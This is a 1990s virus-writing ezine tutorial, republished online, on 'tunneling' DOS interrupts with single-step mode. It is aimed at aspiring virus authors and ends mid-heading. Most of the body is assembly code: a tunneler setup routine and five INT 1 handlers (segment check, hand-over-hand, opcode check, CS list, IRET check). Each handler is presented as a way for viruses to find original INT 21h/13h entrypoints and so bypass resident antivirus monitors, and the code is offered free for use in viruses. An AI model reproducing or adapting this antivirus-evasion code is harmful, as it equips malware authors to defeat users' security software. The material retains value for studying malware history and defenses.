Copy Link
Add to Bookmark
Report

xine-1.010

eZine's profile picture
Published in 
Xine
 · 26 Apr 2019

  


/-----------------------------\
| Xine - issue #1 - Phile 010 |
\-----------------------------/

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ Tunneling ³
³ with ³
³ Single step mode ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ Introduction ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
You are an amoeba, the lowest level life form of assembly coder around.
After struggling away from conventional programming ideas into the strange
murky world of viruses, you've steadily built up your library of techniques
to use in your viruses and have advanced to a fairly decent level of
accomplishment, a parasitic TSR COM infector. Now, with such a great
technological marvel under your belt, you, the amoeba, are beginning to ask
some serious questions about more advanced virus programming techniques, such
as... how do I stealth? what is polymorphism? what is tunneling? and
unfortunately, you're not getting many answers back. Well, finally, there's
someone who understands the position you're in. Little amoeba, prepare to
become leet.

Yes, that's right, you are now reading the series of documents that will
change your views about virus coding and yes, even the world situation in
general, forever. No longer will your creations wallow in the shadows of
crappy AV behaviour blockers. No longer will your viruses simply go around
copying themselves from computer to computer, languidly taking orders from
shitty AV software. From this document onwards, your viruses will be the
boss... the way things were meant to be!

Yes, welcome to my series of documents on tunneling, the only series that
will teach you absolutely everything there is to know about tunneling... with
easy to understand step by step instructions and complete source codes and
example programs for you to look at, because, after all, you're only an amoeba!
If however, you're an amoeba bent on the destruction of the Earth with your
mega-cool destructive viruses, fuck off, there is no room for you. Virus
coding is an art, lets keep it that way.

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ What is tunneling? ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
So now you've read that and I've got you all excited, you're beginning to
think hard about what tunneling could possibly be and what makes it cool enough
to write a four document series on. Tunneling, in the simplest terms possible,
is a technique used to find the original entrypoint of an interrupt before any
programs began hooking into it. What does this mean? Well, if you have the
original interrupt entrypoint, your viruses will be able to flow over resident
AV programs with ease, bypassing any protection they may offer, rendering them
useless. Now wouldn't that be nice?

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ What types of tunneling are there? ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
Of course, tunneling isn't as simple as just one technique. Just like
many other methods used in virus programming, tunneling can be performed in
many different ways, each having reasons it should be implemented over the
others (pros) and reasons it shouldn't (cons). Methods of tunneling come in
three main flavours: single steppers, code scanners, and code emulators.

This series will teach you EVERYTHING you need to know about tunneling
and associated topics, and the documents within it need to be read one after
the other so you can fully understand what I'm talking about. Since the area
of tunneling hasn't got many official terms assigned to it, I've had to give
names to various things etc, but this doesn't mean everyone calls these
things by the same name.

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Section 1: How interrupts work (ONLY for the lesser amoeba among us)
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Bit fields of the flags register

³F³E³D³C³B³A³9³8³7³6³5³4³3³2³1³0³
OF Overflow Flag ÄÄÄÄÄÄÄÄÄÄÄÙ ³ ³ ^ ³ ³ ³ ³ ÀÄÄÄ CF Carry Flag
DF Direction Flag ÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ³ ³ ³ ³ ³ ÀÄÄÄÄÄÄÄ PF Parity Flag
IF Interrupt Flag ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄ AF Auxiliary Flag
TF Trap Flag ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ZF Zero Flag
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ SF Sign Flag

The interrupt vector table (IVT) is a list of 256 doublewords starting at
address 0:0 and going to address 0:400h. Each doubleword is a segment:offset
pair, pointing to addresses in memory where execution is to go to once you
execute the interrupt corresponding to the doubleword. Each doubleword is
given a number, starting from 0, and that is its corresponding interrupt. So,
at the address 0:0 is a doubleword pointer to the interrupt 0 handler, at the
address 0:4 is a doubleword pointer to the interrupt 1 handler, and so on.

To do an interrupt, you execute the 'INT x' instruction where x is the
interrupt number you want to execute. When you do this instruction, the CPU
does the following things in order:
decrements SP by 2 and copies the flags register to SS:SP
clears the TF and IF bits in the flags register
decrements SP by 2 and copies CS register to SS:SP
decrements SP by 2 and copies IP register to SS:SP
loads CS:IP with the doubleword at [0:(x*4)] (the doubleword in the
IVT corresponding with your 'x' value)

When an interrupt handler finishes its work, it returns to the calling code
by using an 'IRET', which effectively is a RETF followed by a POPF. When an
interrupt wishes to modify the flags register for the calling code, such as to
indicate an error occured, it must modify the flags register as saved on the
stack, because that is what the end-result flags will look like, or
alternatively, issue a 'RETF 2' which will execute a RETF, skipping the flags
on the stack, leaving the current flags as the returned flags.

When a program wishes to hook an interrupt, it redirects the interrupt to
itself by updating the corresponding doubleword in the IVT. Also, when
writing your interrupt handler (the code executed when someone does the
corresponding interrupt), there are some things you need to take into mind.

First, you must remember that before you hooked the interrupt, there was an
interrupt there before you :) You have to decide wether to ignore that
interrupt or to execute it before or after your own interrupt code. If you
were to ignore something like interrupt 021h (DOS's function handler) after
replacing it with your own, your computer would screw up :) However, hooking a
NULL interrupt (one that isn't used by anyone else) you can just ignore the
previous handler and replace it on exit (if your interrupt handler is only
temporary).

However, normally, you'll want to pass control on to their previous
interrupt handler, which can be done in two ways depending on what you are
really trying to do. You can either use post or pre execution chaining.
When you pre-execute, you call the original interrupt handler in your code
before you start doing whatever it is your interrupt handler does, with a
simulated interrupt call, usually something like:
pushf
call far ptr [saved_address]

If you want your code to be executed before the other interrupt handler
(for reasons such as to intercept a certain function call of that interrupt)
you use post execution chaining, by adding this to the end of your interrupt
handler:
jmp far ptr [saved_address]

In pre-execution chaining, you have the responsibility to pass control back
to the calling code with one of the two return models, and in post-execution
chaining, you don't need to pass control back, as that's the duty of the next
interrupt handler in the chain. One last thing to remember, is that when using
pre-execution, you must preserve the flags from the return of that interrupt in
case some error condition is set in the flags the calling code needs to know
about. If you don't preserve the flags, you're in for alot of trouble. For
instance:
my_stupid_interrupt_handler:
pushf
call far ptr [old_interrupt_address]
; Call the old interrupt handler, which returns
; an error condition
... blah blah blah, lots of code
; Our code fucks with the flags and shit while
; doing its job
iret
; We exit our interrupt handler, restoring
; the original flags and losing ALL the old
; flag information

my_smart_interrupt_handler:
pushf
call far ptr [old_interrupt_address]
; Call the old interrupt handler, which returns
; an error condition
pushf ; We save the flags on return from the
; interrupt
... blah blah blah, lots of code
; Our code fucks with the flags and shit while
; doing its job
popf ; We restore the flags as they were on return
; from the old interrupt handler
retf 2 ; We exit with these flags instead of the
; flags pushed on the stack on execution
; of the interrupt

When you execute an interrupt that has been hooked by others, each
interrupt handler passes on control to the previous interrupt by one of these 2
types of chaining constructs. This 'chain' of interrupt handlers is called the
interrupt chain, and will be referred to as such from here onwards.

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Section 2: Single step mode
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Single step mode was created by INTEL way back in the days of the 8088
processor and is available in each processor after this, which is good for us
since our tunneling routine will now be compatable on all INTEL compatable
processors. Single step mode was originally created by INTEL to aid in the
creation of debugging programs, and luckily for us it is very usefull in
viruses and tunneling.

The CPU has a bit in the flags called the TF. The TF decides whether the
CPU is in single step mode or not. If it is set, single step mode is on, and
if it is cleared, then single step mode is off. Before executing each
instruction, the CPU checks to see if the TF is set, and if it is, it does an
INT 1. When INT 1 has finished, it executes the instruction and repeats the
cycle. As such, on the entry to each INT 1, the stack will contain the CS:IP
of the instruction that is about to be executed on exit from the interrupt (and
also the flags to be restored after the end of the interrupt, but the
information on the stack is NOT in this order). On computer bootup, the INT 1
address is set up to point to an 'IRET' in the ROM BIOS code.

The reason single step mode is beneficial to us is that we can set up our
own INT 1 handler and single step our way through another program's interrupt
handler code. As we go through their interrupt code, we can check the CS:IP of
each instruction, or the instruction itself, to see if it is at the original
entrypoint of the interrupt, and if it is we can save this address in a
variable we can use anytime to bypass resident AV programs.

For example, say we have a bad AV program that has hooked into INT 13 (the
disk handler interrupt) and warns the user when any code writing to the
bootsector of disks is detected. It might look something like this:
interrupt_handler:
... checks registers for a disk write to boot sector ...
je warn_user
jmp far ptr [original_interrupt_13]
; Chain back to the previous interrupt 13
warn_user:
... warning lights, ding ding, sirens, blah blah blah ...

Now, in our INT 1 handler with single stepping mode on, we are called
before every instruction you saw above is executed. In our interrupt handler
we might look something like this:
our_handler:
... get CS:IP of instruction about to be executed off of stack ...
... see if we're at the original interrupt entrypoint ...
jne exit_handler
... save address of instruction's CS:IP as interrupt entrypoint ...
exit_handler:
... exit, no need to chain back to other handlers ...

In this way, we can setup single step mode, execute an INT 13 using a
'safe' command.. such as 'Request Disk Status' or something that won't set off
the AV... and our INT 1 handler will, in the end, have saved the address of the
interrupt entrypoint, which from then on we can use, bypassing the AV software
altogether. How we detect if we're at the original interrupt entrypoint will
be discussed later.

There are a few different ways to implement an INT 1 handler that will tell
us the original interrupt entrypoint, and this is where you can prove yourself
to be more than just another amoeba, by creating innovative INT 1 handlers.
But since this is a tutorial, I'll teach you a few methods of both tried and
true INT 1 handlers and a few of the more rare ones. But first we need to
learn how to set up for single step mode.

Recall from earlier our discussion on how the CPU handles an 'INT x'
instruction and how we turn on single step mode. You may remember that the TF
toggles between single step modes off/on, and that an 'INT x' instruction turns
off the TF after saving the flags onto the stack. You may also remember that
the reason we are learning how to use single step mode is to tunnel an
interrupt. If you put two and two together you'll realise that if we turn on
single step mode and execute an 'INT x' instruction in an effort to tunnel an
interrupt, our TF will be cleared for the duration of the interrupt execution
and therefore our single step mode and interrupt handler disabled. On exit
from the interrupt, our flags are popped off of the stack, and our INT 1
handler is re-enabled.

Also, if we simply hook INT 1, turn on single step mode, and execute the
interrupt we are trying to tunnel, our damn single step mode won't be active
for the duration of the interrupt! The answer to our prayers is simulating the
'INT x' instruction, which is stupendously easy to do. Simply push the flags
onto the stack and issue a far call to the address of the interrupt you are
executing. You must also remember to set the registers required for use by the
interrupt, just as in an 'INT x' instruction. Be sure to have a spare copy of
the flags saved on the stack without the TF set so on exit from the interrupt
handler you can disable single step mode easily.

Now that you know all about single step mode and what needs to be done to
use it, we can now start writing the actual setup and calling code for a
tunneling routine. In our sample routine, no provisions are made for delta
offsets, but they can easily be added later on if necessary. Also, DS is
assumed to equal CS for our example, and all code and data is within the same
segment (as per usual for viruses).

tunneler proc near
push ds ; don't want to destroy our DS do we?
mov ax, 03501h
int 021h
mov [orig_1], bx
mov [orig_1+2], es ; store original INT 1 address

xor ax, ax
mov es, ax
cli
mov word ptr [es:4], offset int_1_handler
mov [es:6], cs
sti ; redirect INT 1 to our routine
mov [return_address], 0
mov [return_address+2], 0 ; set our initial variable (which holds the
; address of the original interrupt
; entrypoint on exit from our handler)
; to 0000:0000

; We can add some code here which is for the setup of specific types
; of INT 1 handlers

xor ax, ax
mov ds, ax ; our DS points to IVT

pushf ; save copy of flags with TF cleared
pushf
pop ax
or ah, 1
push ax
popf ; set TF

; We set up the registers for our interrupt call here

pushf
call far ptr [(xx*4)] ; simulate interrupt (xx=interrupt number)
; *4 because that's the length of a dword

popf ; disable single step mode

xor ax, ax
mov es, ax
cli
mov ax, [cs:orig_1]
mov [4], ax
mov ax, [cs:orig_1+2]
mov [6], ax
sti ; reset INT 1 handler to original

pop ds ; don't want to destroy our DS do we?
ret
tunneler endp

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Section 3: Single step mode interrupt routines
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
All that was well and easy, but now, what about the actual INT 1 handler
itself? Well, from here it starts getting complicated, but, for an advanced
amoeba such as you it shouldn't take too long to understand. So far we
haven't really delved much into how we know if we've found the original
interrupt entrypoint yet or not, because it depends totally on the INT 1
handler you choose to use. From here, I will show you five methods, and
discuss the strong and weak points of each. From this point I will only
discuss the tunneling of interrupts 021h and 013h, as these are the main ones
you'll need. Depending on which interrupt routine you use, other interrupts
can be tunneled just as easily as these two.

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ SEGMENT CHECK method ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
The SEGMENT CHECK method of tunneling is probably the very first single
step tunneling routine to ever be used, or at least, I've seen it used in
viruses older than any of the viruses using the newer techniques.
Unfortunately, people aren't really using it much anymore these days, which
is a shame considering it is such a great routine.

In case you didn't know, DOS allocates memory from the bottom up.. that
is.. from above the IVT and BIOS data area, up to the top of available
memory. The very first things that load off of a DOS disk are IO.SYS and
MSDOS.SYS, which contains the I/O routines and DOS kernel respectively. The
DOS kernel is the real workhorse for all of DOS as it does most of the
housekeeping tasks for DOS and also houses the original interrupt 021h
vector.

DOS organises memory into blocks with header information called an MCB,
short for Memory Control Block. The very first MCB that DOS allocates is
used for the storage of resident programs loading out of CONFIG.SYS, and is
located just above the DOS kernel in memory. To find the first MCB block we
use the code below, however it is for DOS versions 3.00 and above only.
Early on in your code you can check the DOS version and if it is BELOW 3.00,
you should probably bail out of your virus anyway. If this annoys you
however, you can check the CONS section of this routine for another method of
using the first_mcb value.

get_first_mcb proc near
mov ah, 052h
int 021h ; get DOS information list
mov ax, [es:bx-2] ; get FIRST_MCB field
mov [first_mcb], ax ; save it into a variable
ret
get_first_mcb endp

If you cast your mind back to our original discussion on why single step
mode is beneficial for us, you'll remember I said that we can check the CS:IP
of each instruction so we can see if we're near the original interrupt
entrypoint. So, now that we know this entrypoint is located in the DOS
kernel, and that the DOS kernel lies just below the first MCB (which we have
the address of), we can begin to write our INT 1 handler. Its job will be to
check the CS:IP of each instruction as it is about to be executed, and see if
the CS: is below the first MCB. If it is, we are in the DOS kernel, and we
save the CS:IP value as the original interrupt entrypoint, and we disable
ourselves.

For tunneling interrupt 013h, we can go about segment checks in two ways,
the old way, or the new way. The old way was developed back before things
like extended/expanded memory, etc, and as such, as you'll see later, it
doesn't work well in the newer environments. The new way is alot more
compatible with these systems, but may not be compatible with all strange
DOS-hacks such as DR-DOS/PC-DOS. It might be, I just don't know.

The old way depends on the REAL original entrypoint to interrupt 013h
residing in the ROM BIOS, which is where the hard-coded bios routines are
located that your computer uses to boot up. This used to be okay, as you
simply checked the CS: of each instruction against the ROM BIOS segment, and if
it was equal, you're in the original interrupt entrypoint so you save the value
and exit, just like the DOS kernel method. However, this has some problems in
that, the ROM BIOS segments for interrupt 013h aren't always in the same place
for different computers. Some start at 0c800 and, some at 0f000h, and you don't
know which one the disk handler is stored in beforehand.

However, this method has complications in the computers of today, depending
on how you code your routine. If you decide to check for CS>=0c800h, as most
viruses do to cover both the old and new style ROM BIOS segments, you're in
trouble. DOS 5+ designed something called the UMB(upper memory block), which
is a method of storing data in the holes between the BIOS ROM's in upper
memory. This causes a problem for us in that these addresses can be above the
ROM BIOS segment we define, unless we use 0f000h as our segment, and this isn't
valid on some computers. On top of this, there is another place ABOVE 0f000h
where we can store data on 286 and above computer systems, so checking for
CS>=0f000h won't work either. To combat this, simply modify your code to check
for CS=0c800h OR CS=0f000h, or use the new routine. The problem with checking
for both, is that it is feasable that some ROM BIOS manufacturers, on bootup,
dont align their interrupt handlers on proper segment boundaries (like instead
of 0f000:00010h, they use 0f001:0000h which equates to the same physical
address). I have not, however, seen a computer like this as yet.

So, although we could use the old routine, it is not recommended. So, what
can we do? Well, we use the next best thing available to us, the handler DOS
appends onto the original interrupt 013h as soon as it loads up. This handler
is *ALWAYS* in segment 070h (for MS-DOS at least), and so we have a constantly
valid address in the DOS kernel we can tunnel to. Perfect, our problem is
solved as the brand of computer and memory installed doesn't matter anymore!
Our handler will check for CS:=070h, and if it is equal, CS:IP is saved. The
extra bonus with this method is we can combine it into the same routine as
tunneling for interrupt 021h by simply changing the first_mcb value to 070h and
calling the same routine, saving us code space.

; Start of INT 1 handler using SEGMENT CHECK method
first_mcb dw 0
segment_status db -1
segment_type db 0 ; 0=DOS KERNEL scan
; 1=IO KERNEL scan
; 2=ROM BIOS scan
segment_handler proc far
push bp
mov bp, sp
push ax
cmp [cs:segment_status], 0
je segment_exit ; exit if we've finished tunneling already
mov ax, [bp+4] ; get CS:
cmp [cs:segment_type], 1
je segment_io_scan
cmp [cs:segment_type], 2
je segment_bios_scan
cmp ax, [cs:first_mcb]
jb segment_found ; check CS: is in DOS kernel
jmp segment_exit
segment_io_scan:
cmp ax, 070h
je segment_found
jmp segment_exit ; check CS: is in IO kernel
segment_bios_scan:
cmp ax, 0c800h ; check for XT bios
je segment_found
cmp ax, 0f000h ; check for XT+ bios
je segment_found
segment_exit:
pop ax
pop bp
iret
segment_found:
mov ax, [bp+4]
mov [cs:return_address+2], ax
mov ax, [bp+2]
mov [cs:return_address], ax ; save CS:IP
mov [cs:segment_status], 0 ; indicate to stop tunneling
jmp segment_exit
segment_handler endp
; End of INT 1 handler using SEGMENT CHECK method

ÚÄÄÄÄÄÄ¿
³ Pros ³
ÀÄÄÄÄÄÄÙ
Using segment checks for tunneling has many various pros. The routine
itself is very small, and also quick and easy to code. Also, the routine
itself has withstood the test of time, as it was invented back in the time of
viruses such as DARK AVENGER and FRODO, and it still works!

ÚÄÄÄÄÄÄ¿
³ Cons ³
ÀÄÄÄÄÄÄÙ
I've heard that some memory managers can play around with the address
returned as the first MCB by DOS's get list-of-lists function, making this
routine worthless in such cases, however, I have not been able to
substantiate these remarks. If it IS true, then the kernel is still below
the first MCB it's just the first MCB address has been hidden from your view.
If you're really picky, I've also heard the DOS kernel is ALWAYS below
segment 0300h, and as such you could use this as your first_mcb value just
incase a memory manager decides to make things difficult for you. However,
once again, that remark is, so far, unsubstantiated.

Finally, this is sortof DOS-version dependant. I'm not sure it will work
on all the generic DOS versions, as they could be using different segment
values and stuff to store data and code in, as no normal program will ever rely
on DOS code being in certain segments to function properly, and as such they
have no need NOT to change segments around.

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ HAND-over-HAND method ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
I call this method the HAND-over-HAND method because it is similar to
slowly pulling yourself up the interrupt chain that you are tunneling. It is
very similar to the SEGMENT CHECK method, but slightly different and works by
using a different idea.

To start off with, we have a variable set up with the hand_segment variable
equal to 0ffffh. Then, in our interrupt handler, we compare the CS: of the
hand_segment variable against the CS: of the instruction we are about to
execute. If our instruction is in a lower part of memory than the interrupt
handler, we save its CS:IP and update the hand_segment with its CS: value.
This continues until our interrupt handler is disabled. By the end, of the
interrupt chain, the last CS:IP value we saved is the lowest level of interrupt
handler control is passed to.

When we handle the different types of INT 13 tunneling, however, we need to
modify our code. For the old method of ROM BIOS detection, we must go UP in
memory, as the ROM BIOS is at the top of memory, not down the bottom. For the
new style scanning, we can use the same routine as for the INT 21 handler.

; Start of INT 1 handler using HAND-over-HAND method
hand_segment dw 0 ; Where we save our CS: values
hand_type db 0 ; 0=Go down
; 1=Go up
hand_handler proc far
push bp
mov bp, sp
push ax
mov ax, [bp+4]
cmp byte ptr [cs:hand_type], 1
je go_up
go_down:
cmp ax, [cs:hand_segment]
jb hand_over_hand
jmp hand_exit
go_up:
cmp ax, [cs:hand_type]
ja hand_over_hand
hand_exit:
pop ax
pop bp
iret
hand_over_hand:
mov [cs:return_address+2], ax
mov [cs:hand_segment], ax
mov ax, [bp+2]
mov [cs:return_address], ax ; save CS:IP
jmp hand_exit
hand_handler endp
; End of INT 1 handler using HAND-over-HAND method

ÚÄÄÄÄÄÄ¿
³ Pros ³
ÀÄÄÄÄÄÄÙ
It's small, and doesn't rely on hard coded segments like the SEGMENT CHECK
method does.

ÚÄÄÄÄÄÄ¿
³ Cons ³
ÀÄÄÄÄÄÄÙ
Once again, it may not work on all DOS versions, however, I can't see any
reason for it NOT to work on DR-DOS and the like.

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ OPCODE CHECK method ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
Now that you know how to use the SEGMENT CHECK method, it's time to move
onto greener pastures and learn more advanced methods of single step
tunneling. The method I'm about to show you isn't too crash hot, even though
it has been used in some rather major viruses (LADY DEATH is one recent one).
It is shown to you merely as a stepping stone into the next single step
routine, and you also need to know this one off by heart in the next document
in this tunneling series.

This method is based on the fact that when a program hooks into an
interrupt chain, somewhere in its interrupt handler it should pass control
onto the next interrupt handler in the chain. This is especially true for
interrupts 021h and 013h, but pretty much the same for all the other
interrupts too.

I have never seen the interrupt handlers of two programs in the same
segment, and I doubt there ever will be such a case, and so, to pass control
onto another handler, the interrupt handler must use some method of execution
transferrance such as:
jmp far ptr offset:seg
OR
jmp far ptr [variable_holding_address]
OR
call far ptr offset:seg
OR
call far ptr [variable_holding_address]

Anyway, the job of our INT 1 handler in this section is the check the
instruction currently being executed by the CPU for a 'JMP FAR' or a 'CALL
FAR'. Each time we see instructions like these, we save the address of where
we will be next over our previous original interrupt handler address, and
hopefully, when the last interrupt handler chains back to the original handler
, we will have our CS:IP, as the last handler in the chain does not usually
execute far jumps itself. If the interrupt we are tunneling has not been
hooked, a value will not be returned as the original interrupt entrypoint.

The only other thing to note before going into the actual code for this,
is about segment overrides. The instructions shown above, when referencing a
variable, can use segment overrides. The CPU sees the segment overrides and
the instruction after it as one whole instruction, and as such we need to
take out the overrides if they're there, and use them later if needed, which
is surprisingly easy to do.

; Start of INT 1 handler using OPCODE CHECK method
_override dw 0 ; used to store current override
_cs dw 0 ; CS of instruction being executed, needed
; to simplify override usage
_ds dw 0 ; DS before we modified it, needed to
; simplify override usage

opcode_handler proc far
push bp
mov bp, sp
push ax
push si
push ds ; save registers
mov ax, [bp+4]
mov [cs:_cs], ax ; save CS
mov [cs:_ds], ds ; save DS
mov [cs:_override], ds ; setup override as default
lds si, [bp+2] ; get address of instruction into DS:SI
cld
read_opcode:
lodsb
cmp al, 026h
je es_override ; use ES override
cmp al, 036h
je ss_override ; use SS override
cmp al, 02eh
je cs_override ; use CS override
cmp al, 03eh
je ds_override ; use DS override

cmp al, 0eah
je immediate ; jmp far off:seg
dec si
lodsw
cmp ax, 02effh
je variable ; jmp far [variable]
cmp ax, 09ah
je immediate ; call far off:seg
cmp ax, 01effh
je variable ; call far [variable]

opcode_exit:
pop ds
pop si
pop ax
pop bp
iret

immediate:
lodsw
mov [cs:return_address], ax
lodsw
mov [cs:return_address+2], ax ; save address of area we're going into
jmp opcode_exit

variable:
lodsw
mov si, ax
mov ax, [cs:_override]
mov ds, ax
jmp immediate ; extract off:seg

ds_override:
mov ax, [cs:_ds]
mov [cs:_override], ax
jmp read_opcode
cs_override:
mov ax, [cs:_cs]
mov [cs:_override], ax
jmp read_opcode
es_override:
mov [cs:_override], es
jmp read_opcode
ss_override:
mov [cs:_override], ss
jmp read_opcode
opcode_handler endp
; End of INT 1 handler using OPCODE CHECK method

ÚÄÄÄÄÄÄ¿
³ Pros ³
ÀÄÄÄÄÄÄÙ
The good thing about this routine is that it isn't depending on any segment
value. It is simply going along blindly saving information, and as such, it
should work on mostly any interrupt which chains back to others, and doesn't
have a flaw of not working on certain DOS implementations.

ÚÄÄÄÄÄÄ¿
³ Cons ³
ÀÄÄÄÄÄÄÙ
Unfortunately, this routine has many cons. You cannot check for every
method of jumping into another segment, and as such this routine could miss the
important last value. Also, it is stupendously easy to confuse, and if the
last interrupt handler in the chain does some intersegment jumps of its own
(which although not likely, it is highly possible), you end up with a garbage
original interrupt entrypoint value.

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ CS:LIST method ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
This is a method I developed myself to fix up some of the problems
associated with the OPCODE CHECK method. Although I haven't seen it used
anywhere, it is highly possible somebody thought about it before me. Either
way, all the code in this document is free for you to use anyway so it
doesn't really matter :)

This handler is the cream of the crop. Although it itself has some
problems, it has the pros of OPCODE CHECK methods, and a lot less of the
cons. It is based somewhat on both SEGMENT CHECK and OPCODE CHECK methods,
and as such is highly robust :)

We start of with a small list of words, about 10 or 15 should do it. To
start with, we initalize the list to 0's and put the CS: of our code right at
the top of the list. Then, for each time our INT 1 handler is called, we
check the CS: value of the code we are executing against the values in the
list. If there is a match, we do nothing. If we do NOT find a match for the
CS: in the list, we must have done an intersegment jump, so we copy CS: into
the next available slot in the list, and save the complete CS:IP as our
original interrupt entrypoint. By the end of the interrupt chain, we will
have a list of all the changes in CS: and the CS:IP of the last changed CS:
to a previously undefined value, our original interrupt entrypoint.

The last thing to note in this INT 1 handler is the check to make sure
the CS: values don't outgrow the space allocated for them. If it does, they
will start overwriting our code, and the computer will crash, and as such
this check is necessary. Also, it sets the original interrupt entrypoint to
0:0 to tell the calling code the tunnel was unsuccessfull if this occurs.

; Start of INT 1 handler using CS:LIST method
list_begin:
dw 015h dup(0)
list_end:

list_handler proc far
push bp
mov bp, sp
push ax
push bx
mov ax, [bp+4]
lea bx, [list_begin]
list_traverse:
cmp bx, offset list_end
je list_error ; this is a check to make sure the
; list of CS: values doesn't outgrow
; the space allocated for them
cmp [cs:bx], ax
je list_exit ; this is if the CS: is already on the
; list
cmp word ptr [cs:bx], 0
je list_insert ; add us to the list if we've reached the
; end of defined values
add bx, 2
jmp list_traverse ; this moves down to the next item on
; the CS: list
list_insert:
mov [cs:bx], ax ; put us on the list
mov [cs:return_address+2], ax
mov ax, [bp+2]
mov [cs:return_address], ax ; save CS:IP value
jmp list_exit

list_error:
mov [cs:return_address], 0
mov [cs:return_address+2], 0 ; set error indicator

list_exit:
pop bx
pop ax
pop bp
iret
list_handler endp
; End of INT 1 handler using CS:LIST method

ÚÄÄÄÄÄÄ¿
³ Pros ³
ÀÄÄÄÄÄÄÙ
The routine is far less susceptable to confusion, and it cannot miss
intersegment jumps like the OPCODE CHECK method. It will not return a garbage
address when run under an un-hooked interrupt.

ÚÄÄÄÄÄÄ¿
³ Cons ³
ÀÄÄÄÄÄÄÙ
If the last interrupt handler in the interrupt chain does some intersegment
jumps of its own (which although not likely, it is highly possible), you end up
with a garbage original interrupt entrypoint value. However, if the code you
are tunneling does some internal intersegment jumps of its own, your return
address will once again be screwed just like in the OPCODE CHECK method.

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ IRET CHECK method ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
There is yet another way to find our original interrupt handler. This
method is used in a few viruses hanging around but isn't widely used. Why not?
Well, it's hard to tell, I guess people just don't know about it. Also, my
tests have found it to be somewhat unreliable for unknown reasons on my
computer.

Before we start tunneling, we make sure our iret_status is set to -1.
Each time we detect a change in the current CS: value, we save the CS:IP. For
each instruction we execute, we check if it is an 'IRET' instruction, and if
so it means we've found the last interrupt in the chain, so we disable
ourselves, keeping the CS:IP we logged before as the original interrupt
entrypoint.

; Start of INT 1 handler using IRET method
iret_status db -1
iret_handler proc far
push bp
mov bp, sp
push ax
push ds
push si
cmp [cs:iret_status], 0
je iret_exit
mov ax, [cs:return_address+2]
cmp [bp+4], ax
jne iret_save
lds si, [bp+2]
lodsb
cmp al, 0cfh
je iret_exit_detected
iret_exit:
pop si
pop ds
pop ax
pop bp
iret
iret_save:
mov ax, [bp+4]
mov [cs:return_address+2], ax
mov ax, [bp+2]
mov [cs:return_address], ax ; save CS:IP
jmp iret_exit
iret_exit_detected:
mov [cs:iret_status], 0
jmp iret_exit
iret_handler endp
; End of INT 1 handler using IRET method

ÚÄÄÄÄÄÄ¿
³ Pros ³
